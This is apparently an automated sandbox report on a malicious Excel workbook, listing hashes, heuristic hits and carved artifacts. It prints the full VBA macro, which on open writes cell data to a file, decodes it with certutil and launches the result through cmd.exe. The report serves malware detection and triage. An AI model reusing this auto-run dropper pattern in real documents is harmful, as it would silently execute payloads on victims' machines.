Office (OOXML) malware analysis — malicious · bd02ac7ccac47dca

MALICIOUS

Office (OOXML)

88.5 KB Created: 2020-10-14 14:35:30 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-12

MD5: 530a781990afc2c876686cdd9ef2a62f SHA-1: 98f407883fa36a2ffee679520d2d4095fb386dca SHA-256: bd02ac7ccac47dca8265fa35d9e7889f204fab5bad15b07536a3779298b4594d

270 Risk Score

Heuristics 8

VBA project inside OOXML medium 6 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell "certutil -decode cplusconsole.txt cplusconsole3.jpg"
```
LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA
Matched line in script
```
Shell "certutil -decode cplusconsole.txt cplusconsole3.jpg"
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set fs = CreateObject("Scripting.FileSystemObject")
```
cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA
Matched line in script
```
        Shell "cmd.exe /c start cplusconsole.jpg"
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1687 bytes
SHA-256: `09b36e4f61b04e3161570b0f5cfcb87f8c7ad0e387e97b470996a74802af3489`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "book1" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Dim rng As Range Dim cell As Range Set fs = CreateObject("Scripting.FileSystemObject") Set a = fs.CreateTextFile("cplusconsole.txt", True) Set rng = Range("A2:A122") For Each cell In rng a.Write cell.Value Next cell a.Close Shell "certutil -decode cplusconsole.txt cplusconsole3.jpg" Do While True If Dir("cplusconsole3.jpg") <> "" Then Shell "cmd.exe /c start cplusconsole.jpg" Exit Do End If Loop End Sub Attribute VB_Name = "list1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Лист1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Лист2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	161280 bytes
SHA-256: `1283177227099a75d32cdc57d7264fcd335412c495bbd37333ab3745483dd869`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 126 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.